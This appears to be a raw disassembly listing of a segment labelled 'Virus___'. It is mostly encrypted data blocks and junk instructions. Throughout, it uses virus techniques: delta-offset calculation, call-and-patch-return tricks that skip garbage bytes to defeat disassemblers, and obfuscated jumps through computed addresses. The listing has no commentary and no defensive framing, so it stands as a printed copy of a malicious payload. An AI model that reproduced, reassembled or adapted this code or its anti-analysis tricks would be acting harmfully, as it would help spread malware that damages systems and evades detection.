		dd 8DA459EAh, 6D56446Eh, 8DA45A4Ah, 0E063A4CEh,	9387B437h
		dd 8851A7A1h, 6386510Ah, 0E00A8DA4h, 8A0227h, 0E7F40000h
		dd 56C688DFh, 0C3B9343Fh, 9A28E73Ah, 8A57A3ADh,	26114395h
		dd 8DA4078Fh, 242C1B13h, 0C0A05D6h, 0EB34C44Eh,	0DC569E34h
		dd 0C6BC47Eh, 0E030E621h, 7F0CD129h, 67D805F5h,	5CD30EEDh
		dd 31EA5C4Eh, 8DA3D6A6h, 0D6C510CBh, 29458DA3h,	0EAA3708Ah
		dd 0A878EE09h, 93C39790h, 888E9E49h, 47F193h, 3FA50000h
		dd 3729E63Bh, 4BBD1FC2h, 0A3664590h, 7EA9C58Dh,	791345B3h
		dd 34EA5D80h, 0AAD525DCh, 0EC32A41h, 0E50DDEF6h, 2CE3363Fh
		dd 0A3665765h, 81D1458Dh, 88A5A05Bh, 886E1893h,	5CD306F1h
		dd 58F92E46h, 1, 9A393F3Ah, 7FE07542h, 9D867008h, 8DA3683Ah
		dd 3E9CB4BEh, 67C413CCh, 2E448DA3h, 929546B4h, 4C816DE7h
		dd 0E749BBD3h, 0C8538E6Dh, 8DA367EDh, 10C6416Dh, 54F309C0h
		dd 0A3684C6Bh, 8EA6CC8Dh, 0C30C0BFDh, 9E34EB36h, 4BC419E4h
		dd 0D771237Bh, 1A32F52Ch, 0AE3C0721h, 4CC3EB94h, 54F728D4h
		dd 80BF509Ch, 0BE92F8C1h, 0A5174194h, 0BE92DBFAh, 9D575F94h
		dd 3082BD50h, 38F323F7h, 80481BCCh, 26FB0174h, 0D71F110Eh
		dd 8B5F0D02h, 0B364904Bh, 78AE4910h, 35E18C6Dh,	0D5000001h
		dd 6F2DC047h, 0AE6CE6B4h, 51CEE494h, 30ED0D07h,	27FA05FFh
		dd 8582DAE8h, 0ECAE638Bh, 7EF6C1BAh, 707A94BEh,	10DC94B7h
		dd 24D040FFh, 0D8883CF3h, 4EF9978h, 12DA5ACDh, 78B32AF9h
		dd 378C6D8Dh, 4Ah, 2ABF471Bh, 0E00C0668h, 0EE29F82Fh, 0F23C0989h
		dd 399C47F8h, 280DA365h, 252190C0h, 7EA01280h, 2FF429D4h
		dd 0DA36488h, 6310C531h, 2DA945Bh, 0D1E902EFh, 0F712EBA9h
		dd 4BFC0206h, 89A9D98h,	0B2515DBCh, 0A743h, 0C0472F00h
		dd 423D6F2Dh, 8DA36673h, 3CF328CEh, 6ED9D566h, 6E07453Eh
		dd 3A8294AEh, 97620508h, 0E116224Ah, 0A5E53BC6h, 59714A35h
		dd 0D8575FEEh, 0B84B9C68h, 1C13C430h, 56AEE0FCh, 5372B73Ah
		dd 145C74A5h, 0D6FDC8F7h, 4C1710BAh, 94BF40E0h,	70ABEB2Fh
		dd 0E0B05384h, 0CA459E66h, 40FED982h, 688294BFh, 2225D750h
		dd 1D2E098Bh, 919BC48Bh, 42AA9A95h, 16449689h, 0E85FF07Ch
		dd 0DC5BDE36h, 8C7807F3h, 0B60C035Bh, 0E4123C9Eh, 7DAAF837h
		dd 0BEFB702Bh, 777F94ADh, 9C02B25h, 516D3F1Eh, 390E98E4h
		dd 1AB473E1h, 6F2DC047h, 0A8B0B7B4h, 0FC333B94h, 7527F804h
		dd 49FE13DBh, 459E66EEh, 66260BCAh, 2EB55F8h, 14E050CFh
		dd 47664CC3h, 250E5139h, 66AE7A88h, 41914509h, 0EE0B628Ah
		dd 8EA6FC33h, 568B73FDh, 0EB9067D9h, 7AB5CD0Ch,	76A9628Ah
		dd 63DC75FEh, 7E177F2Bh, 0C1BAEC5Eh, 0D37472F6h, 71FA707Ah
		dd 5BBB6FD8h, 0E08354A0h, 0CE6D96B0h, 7472C215h, 142C46D3h
		dd 949C8B1Bh, 5078B768h, 72A235EEh, 0C26D374h, 0B601Bh
		dd 16300000h, 0B96296EDh, 0D08A661h, 1C353FF1h,	10C53123h
		dd 9D4251Fh, 3CD51E16h,	34E91103h, 2CF109FBh, 27FA01F3h
		dd 598278E8h, 52876EE6h, 6E68D3DDh, 8900004Fh, 8957242Ch
		dd 4C781E7h, 83000000h,	3C8704EFh, 14895C24h, 0E1895124h
		dd 4C181h, 0E9810000h, 4, 5C240C87h, 56243489h,	494DBA52h
		dd 0D6891532h, 7E6C15Ah, 0DEF7DEF7h, 459FF681h,	0CE814C70h
		dd 58F23CB7h, 0D5FCC681h, 0F2892927h, 348B545Eh, 4C48324h
		dd 57D78957h, 5F08468Fh, 5E2434FFh, 8B04C483h, 89502414h
		dd 405E0h, 4050000h, 87000000h,	0E95C2404h, 0FFFCA284h
		dd 0F3106163h, 85DCF414h
		db 0E9h
; ---------------------------------------------------------------------------


loc_578CA5:				; CODE XREF: Virus___:00578720j
		mov	eax, 71EDAACh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dec	ecx
		pop	eax
		mov	al, ds:5E92E62Dh
		push	ecx
		cmp	[ebx], dl
		cmp	[edi+ecx*2-52h], ecx
		cmp	eax, 10AA6C73h
		cmp	al, 2
		jmp	esi
; ---------------------------------------------------------------------------
		db 9, 96h, 69h
		dd 0B9827393h, 89F65C31h, 7E254A4Ch, 3EB637E6h,	0E47F4E30h
		dd 3F692687h, 0B3674766h, 0F3FD7812h, 0A1B10A8Eh, 0A509164Dh
		dd 0C074472Fh, 0F5E079ABh, 855C2FC6h, 0CA07241Bh, 729C5A6Eh
		dd 0A8742D0h, 640A1A30h, 0ECFB2F33h, 0C18B5316h, 2A69BD8Bh
		dd 8D0F071Bh, 1, 4EBF8h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 0BED6C351h
		dd 84C446BFh, 8160F13Bh, 0E2E6E8E7h, 98D3133h, 0F071B2Bh
		dd 68Ch, 0B9BD8900h, 8D071B24h,	1B125585h, 91BD8B07h, 90071B13h
		dd 5250FB8Bh, 6E9h, 4F5CA800h, 5ED59E60h, 50006A90h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
		dd 2F75902Ah, 586BA75Fh, 0F1B70F69h, 6A006Ah, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 12E9EDC3h
		dd 45000000h, 0B36D11A7h, 32CC29EAh, 21C4A923h,	9C3CBBCAh
		dd 89006AAAh, 1B1FCDBDh, 0A3858D07h, 6A071EDDh,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 135FC350h, 55A28302h, 0C0833B8Dh, 52006A05h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 8F0F95CBh
		dd 6, 2C45B58Bh, 0E850071Bh, 7,	933F8FF2h, 8BBCC130h, 4895FF3h
		dd 51006A24h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 371A097Fh, 6A006A29h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0E624C351h
		dd 4B97E92Dh, 5D8529BCh, 6A071B23h, 97BE6600h, 0A995FF14h
		dd 6A071B1Eh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 360BC355h, 0C1B58B06h,	8B071B12h
		dd 1B09E5B5h, 9C9D8D07h, 6A071E97h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 41BFC357h
		dd 2FF19D89h, 890F071Bh, 0
; ---------------------------------------------------------------------------
		call	ebx
		movsx	esi, dx
		inc	dword ptr [ebp+71B264Dh]
		sbb	edi, 7A0953B7h
		jmp	loc_5796F5
; ---------------------------------------------------------------------------
		call	$+5
		pop	ebp
		sub	ebp, 71EDDADh
		cld
		cmp	dword ptr [ebp+71B2BFDh], 7D0h
		jbe	loc_579084
		mov	ebx, [ebp+71B2D95h]
		push	0
		push	ecx
		call	sub_578F40
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_578F40	proc near		; CODE XREF: Virus___:00578F38p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_578F40	endp

; ---------------------------------------------------------------------------
		dd 8B659A4Eh, 81D19AD2h, 100E3h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 8D31B423h
		dd 71B09F1h, 850FDB0Bh,	0C9h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 8C35545h, 0D5D21C05h, 0FB7166CEh
		dd 31A1BD03h, 0BD83071Bh, 71EDBB9h, 51840F00h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 0B9C5C355h, 0E83AC46Ch, 0E9FB8B66h, 79h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0D6C35242h
		dd 49BD899Dh, 0BE071B24h, 4C86343Dh, 0DBB985C7h, 1071Eh
		dd 0AE90000h, 69000000h, 43A7078Dh, 0DDF04C19h,	33E967h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 0AED9F8C3h, 0BD9F56h, 0B985C719h,	71EDBh
		dd 89000000h, 1B16918Dh, 959D8D07h, 0F071B2Dh, 2381F8BFh
		dd 0FFFFFEFFh, 26E1BD8Bh, 850F071Bh, 8,	0D5858950h, 5E071B30h
; ---------------------------------------------------------------------------


loc_579084:				; CODE XREF: Virus___:00578F29j
		mov	bx, ds
		push	0
		push	ecx
		call	sub_579092
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_579092	proc near		; CODE XREF: Virus___:0057908Ap

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_579092	endp

; ---------------------------------------------------------------------------
		mov	cl, 0DAh
		adc	eax, 4B70AC4Ch
		pop	ss
		mov	esp, 0D13FBF66h
		test	bl, 4
		jz	loc_57910D
		mov	edi, ebx
		call	dword ptr [ebp+71B2A09h]
		push	0
		push	edx
		call	sub_5790CB
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5790CB	proc near		; CODE XREF: Virus___:005790C3p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_5790CB	endp

; ---------------------------------------------------------------------------
		lahf
		jmp	fword ptr [ecx+3A265E98h]
; ---------------------------------------------------------------------------
		dw 7E62h
; ---------------------------------------------------------------------------
		push	eax
		mov	[esp], eax
		push	0
		push	eax
		call	sub_5790F3
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5790F3	proc near		; CODE XREF: Virus___:005790EBp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5790F3	endp

; ---------------------------------------------------------------------------
		db 68h
		dd 42BDAA7h, 0F5B82A86h
		db 88h
; ---------------------------------------------------------------------------


loc_57910D:				; CODE XREF: Virus___:005790B2j
		jmp	loc_579516
; ---------------------------------------------------------------------------
		dw 0B0h
		dd 0E6F78B66h, 0E4F88B70h, 29F08B71h, 1B14E9BDh, 0D8B60F07h
		dd 12E9h, 0CE4B3900h, 6E72887Ch, 25D36A62h, 55D63781h
		dd 0BAC98899h, 6, 12258D89h, 0C38B071Bh, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Ah, 0FAC35040h, 38CA8C92h
		dd 0E8C1DDA3h, 55006A04h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 7E8F2h, 9D2D0000h, 573ABD29h
		dd 2DB5897Dh, 5F071B0Ch, 2595B58Bh, 0F766071Bh,	55006AE2h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 8ECB42BAh, 0C78166E4h, 0D82B6D58h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 12C35747h, 88205A43h, 1921B58Bh
		dd 0E850071Bh, 7, 67C5BB79h, 57B46C89h,	5F5E5E53h, 6A241C89h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 7B5C351h,	782D4F5Fh, 0C187F9D7h, 2BFDB5FFh
		dd 61BE071Bh, 8B095AE8h, 1B1635B5h, 8995FF07h, 6A071B12h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0C146C355h, 0AF80DA7Ah, 6E9A1h, 6E9F0000h
		dd 7DED20A5h, 0BF0F00B0h, 0E470E6F9h, 55006A71h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
		dd 4E14DD77h, 530EBE66h, 830F613Ch, 26Eh, 0ADB52960h, 8B071B29h
		dd 1B055595h, 0B60F6107h, 52006AD8h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0DFD04310h
		dd 731B26Ch, 0BD03991Bh, 71B2301h, 1741B58Bh, 0B58B071Bh
		dd 71B20E5h, 6BAh, 90BE6600h, 89C38B65h, 1B2DC195h, 4E8C107h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0F0C35545h
		dd 0CCAA8D8Ah, 0C9E4CD65h, 0F766F5CBh, 6E960E2h, 0D3000000h
		dd 61978FDAh, 0D780563Ch, 0BE615F5Ah, 639583DAh, 6AD82Bh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 162D95C3h, 7C35A6F5h, 9D89DAD9h, 71B11DDh, 4AD68158h
		dd 2B7BBD55h, 97880FD8h, 6A000001h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 3FA0C355h
		dd 0B50B0FBAh, 71B336Dh, 7B9h, 55006A00h, 3E8h,	0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 0D2F79725h
		dd 5E776A2Eh, 0DF81FD8Bh, 5E615BDEh, 2870Fh, 0FE8B0000h
		dd 3B00C183h, 2F860FD9h, 6A000001h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0C9C3C355h
		dd 95CDFCE8h, 667DD836h, 810FD98Ch, 6, 2B4E681h, 0DE90664h
		dd 30000000h, 98A4BFECh, 4A430253h, 0EACC61C7h,	0F04C1F6h
		dd 0BA84h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 0AFD51D58h, 0F78B2CECh, 2A0995FFh
		dd 8B66071Bh, 6A5BFBh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 89CDBCC3h, 1B1199B5h, 6AC32B07h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 0BBF4C356h, 0D92B85B6h, 17E79EFh,	2EC5B58Bh
		dd 343D071Bh, 0F000008h, 3286h,	58A0F00h, 66000000h, 7D16C781h
		dd 49E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1704h, 0C3504000h, 992A816Eh, 8BFB8B66h, 56006AC0h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 18D32FF9h, 95BE8C26h
		db 59h,	0F7h
; ---------------------------------------------------------------------------


loc_579516:				; CODE XREF: Virus___:loc_57910Dj
		mov	eax, ebx
		mov	ebx, eax
		mov	[ebp+71B2EB1h],	eax
		mov	dword ptr [ebp+71B12E9h], 7AB963DDh
		call	sub_579537
		not	ah
		push	edx
		iret
; ---------------------------------------------------------------------------
		db 0B4h
		db 36h,	99h, 2Bh

; =============== S U B	R O U T	I N E =======================================



sub_579537	proc near		; CODE XREF: Virus___:0057952Ap
		pop	edi
		mov	eax, eax
		push	0
		push	ebx
		call	sub_579545
		and	[ebx-3Dh], bl
sub_579537	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_579545	proc near		; CODE XREF: sub_579537+6p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_579545	endp

; ---------------------------------------------------------------------------
		mov	ch, 90h
		setalc
		and	esi, 5C9E5ABh
		cmp	dword ptr [ebp+71B2BFDh], 7D0h
		jnz	loc_579594
		push	0
		push	ecx
		call	sub_579579
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_579579	proc near		; CODE XREF: Virus___:00579571p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_579579	endp

; ---------------------------------------------------------------------------
		xchg	eax, esp
		sub	eax, 0FD85FF5Fh
		sub	ebx, [ebx]
		pop	es
		mov	edi, ecx


loc_579594:				; CODE XREF: Virus___:00579568j
		push	dword ptr [ebp+71B2BFDh]
		push	0
		push	eax
		call	sub_5795A5
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5795A5	proc near		; CODE XREF: Virus___:0057959Dp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5795A5	endp

; ---------------------------------------------------------------------------
		pushf
		and	eax, 23684FF4h
		pop	edi
		or	ebx, [edi]
		mov	edi, edi
		xchg	eax, ebp
		mov	[edx], edx
		sbb	eax, [edi]
		mov	[ebp+71B1445h],	ecx
		nop
		jb	loc_5795D6
		mov	di, 73BDh


loc_5795D6:				; CODE XREF: Virus___:005795CCj
		push	0
		push	esi
		call	sub_5795E1
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5795E1	proc near		; CODE XREF: Virus___:005795D9p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_5795E1	endp

; ---------------------------------------------------------------------------
		db 0Bh,	51h, 12h
		dd 0F9035E2h, 208Dh, 14E800h, 19CA0000h, 88B479E5h, 5082E01Ah
		dd 0F2A5B0F5h, 9E853B38h, 9589EC20h, 71B2801h, 51006A5Fh
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 90FBD76Ah, 897CEA7Ch, 1B25D985h, 53006A07h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 0BE632AB3h
		dd 24258D89h, 0BD8B071Bh, 71B08C9h, 2D71B589h, 0BF0F071Bh
		dd 53006AF2h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 440664EEh, 897DA98Ah, 1B1741BDh,	51006A07h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 29D05D32h, 0F6B70F2Ah, 8E9h,	325F5400h, 15A830C4h, 0F83CE9D2h
		dd 890FFFFFh, 19h, 128C0FF9h, 81000000h, 0DE7814D7h, 7E973h
		dd 0EB790000h, 0E96E9B88h
; ---------------------------------------------------------------------------
		xchg	eax, edx


loc_5796F5:				; CODE XREF: Virus___:00578F0Dj
		mov	eax, ecx
		mov	[ebp+71B28E1h],	edx
		jmp	short loc_579703
; ---------------------------------------------------------------------------
		align 10h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_579703:				; CODE XREF: Virus___:005796FDj
		push	0
		push	esi
		call	sub_57970E
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57970E	proc near		; CODE XREF: Virus___:00579706p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_57970E	endp

; ---------------------------------------------------------------------------
		mov	dl, 0DDh
		mov	eax, ds:0E6758173h
		movsx	edi, di
		sub	[ebp+71B1B45h],	edi
		lea	eax, [ebp+71B1255h]
		sub	di, 8FC8h
		push	eax
		mov	esi, 19BAC61h
		mov	[esp], eax
		push	0
		push	eax
		call	sub_57974D
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57974D	proc near		; CODE XREF: Virus___:00579745p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_57974D	endp

; ---------------------------------------------------------------------------
		db 0ECh, 6Dh, 0A0h
; ---------------------------------------------------------------------------
		ja	short near ptr loc_579775+1
		pusha
		cmc
		mov	edi, [ebp+71B2F31h]
		popa
		pusha
		sbb	dl, 4Eh
		popa
		movzx	esi, ax
		push	0


loc_579775:				; CODE XREF: Virus___:00579760j
		mov	si, di
		mov	di, bx
		push	0
		push	0
		push	edx
		call	sub_579788
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_579788	proc near		; CODE XREF: Virus___:00579780p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_579788	endp

; ---------------------------------------------------------------------------
		test	eax, 4687E86Ah
		pop	esp
		mov	edi, [ebp+71B0A71h]
		mov	[ebp+71B2F79h],	edi
		jle	loc_5797B6
		mov	[ebp+71B11D1h],	edi


loc_5797B6:				; CODE XREF: Virus___:005797AAj
		lea	eax, [ebp+71EE759h]
		push	0
		push	esi
		call	sub_5797C7
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5797C7	proc near		; CODE XREF: Virus___:005797BFp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_5797C7	endp

; ---------------------------------------------------------------------------
		db 85h
; ---------------------------------------------------------------------------
		pusha
		add	eax, 5
		push	0
		push	edi
		call	sub_5797E7
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5797E7	proc near		; CODE XREF: Virus___:005797DFp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_5797E7	endp

; ---------------------------------------------------------------------------
		or	al, ch
		xor	eax, 907DAE8Eh
		mov	si, cx
		push	eax
		mov	edi, 34443551h
		nop
		push	0
		push	edi
		call	sub_579813
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_579813	proc near		; CODE XREF: Virus___:0057980Bp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_579813	endp

; ---------------------------------------------------------------------------
		db 0F4h
		dd 8149FD6Fh, 5212E173h, 68D0F4Dh, 8B000000h, 1B26D5BDh
		dd 0FC006A07h, 6A006Ah,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 0F2CB2C3h, 7A8CA218h, 0A995FFC7h
		dd 50071B1Eh, 830Fh, 8D5E0000h,	1E979C9Dh, 59BD8907h, 0FF071B0Ah
		dd 51006AD3h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 8B285D7Ah, 4D85FFF1h, 6A071B26h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 0BF22C357h, 0E99A245Ah, 82Ah, 0E8h, 0ED815D00h, 71EE763h
		dd 0BE9h, 36D6100h, 693E3906h, 969B90F0h, 21C18589h, 0BD81071Bh
		dd 71B2BFDh, 7D0h, 174860Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 0FDA1FFC3h
		dd 0F994D9Bh, 0BF0FF7BFh, 0B99D8BF0h, 6A071B25h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 1AE5C355h, 933DA21Bh, 0F94EE0Eh, 38Fh, 0FA8B6600h, 100E381h
		dd 8D890000h, 71B0A2Dh,	0D5BD0360h, 8B071B09h, 0DB0B61DAh
		dd 8D850Fh, 0DF810000h,	2F840F51h, 0E595BD83h, 0F00071Eh
		dd 2984h, 0BD0B6000h, 71B28D9h,	7BE961h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 85C73DC3h, 71EE595h,	1, 10E8h, 0BF30F100h, 99CF0D58h
		dd 3692F422h, 603FA6FFh, 8D0FEEh, 5F000000h, 34E9h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 8BC2ACD6h, 0ED9D89A1h, 0C7071B30h, 1EE59585h, 7, 70BE6600h
		dd 0B99D8D53h, 6A071B25h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 7497C355h, 35950926h
		dd 81071B33h, 0FFFEFF23h, 53006AFFh, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 0F705C581h
		dd 8E9h, 0CC8A7900h, 0FE0F62C5h, 0D68166ADh, 8C6606F9h
		dd 0E5BD89DBh, 0F6071B21h, 840F04C3h, 4Ah, 331B58Bh, 95FF071Bh
		dd 71B2A09h, 90FAB70Fh,	0EE9h, 5A8B6D00h, 56083998h, 4535D941h
		dd 5096E1CFh, 13E8h, 8B9F7400h,	0A42CA1ACh, 45100337h
		dd 506FD1BCh, 3430E078h, 8B5E5660h, 905E61DFh, 23D18D01h
		dd 18E9071Bh, 89000004h, 1B35DD8Dh, 0E800B007h,	8, 0AEC55032h
		dd 62D77B8Ah, 13E9h, 88B17A00h,	0BC056811h, 0E1221411h
		dd 8BA33EB3h, 131D3680h, 0B70E65Fh, 1B30B5B5h, 6A71E407h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 0F51C352h, 6AD8B6h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 0F8D5ECC3h, 69811F61h
		dd 6E9EA41h, 5E000000h,	0D2C0368Dh, 6BAF1h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 710366C3h, 0C38B8ACEh, 0B8D0Fh, 870F0000h, 5, 0A5CE8166h
		dd 4E8C1C4h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	4AC35242h, 359783CDh, 0E63F7C33h, 0E2F766C6h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0F8C35545h, 7D66C229h
		dd 0E98878A8h, 11h, 2D89B667h, 0C8B28D02h, 0D1B24CF3h
		dd 83871B05h, 6AD82B11h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 0A9D6C353h,	0A9942C31h
		dd 0BD8B0B97h, 71B3169h, 0F08B6650h, 89241C89h,	1B138595h
		dd 1BD3107h, 0FF071B35h, 1B2BFDB5h, 10E907h, 0A6710000h
		dd 0B08A95C9h, 0D71A2960h, 782B3EEBh, 95FF1E35h, 71B1289h
		dd 0AE8h, 8F15EF00h, 42725498h,	8BC75DD3h, 1B2865BDh, 0C6815F07h
		dd 3019875h, 6A00B0h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 0B9BE48C3h, 0A558E777h, 85898BEAh
		dd 71B33B5h, 71E470E6h,	32C19589h, 613C071Bh, 23D830Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 8E6F2FC3h, 0FC1BD380h, 3479BD31h,	0B60F071Bh
		dd 0DE856D8h, 0B8000000h, 243FAE3h, 0BB6E1DD3h,	62C4D450h
		dd 5E5EF88Bh, 6BAh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 69EC9A8Fh, 21EF8166h
		dd 52C38B2Ch, 354E6ABFh, 0E8C15E22h, 56006A04h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 0F7666012h
		dd 55006AE2h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 0B66E9E8Bh, 9B9283B2h, 0B58BCEE8h, 71B1A85h
		dd 9589D82Bh, 71B3499h,	57006A58h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 0BF66A2BDh, 0D82BBD7Dh
		dd 149880Fh, 7B90000h, 0E8000000h, 14h,	3FEFEF1Fh, 3DF16E33h
		dd 0B0BD8FE0h, 0D08154FDh, 0F84E3C6Dh, 2F1BD8Bh, 835F071Bh
		dd 0F78B00C1h, 860FD93Bh, 117h,	0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 18C35545h, 0B58BE513h, 71B0D19h
		dd 6AD98C66h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 667BC356h, 66E594BEh, 0C1F6F88Bh
		dd 0C0840F04h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 437EC351h, 995FFF5h
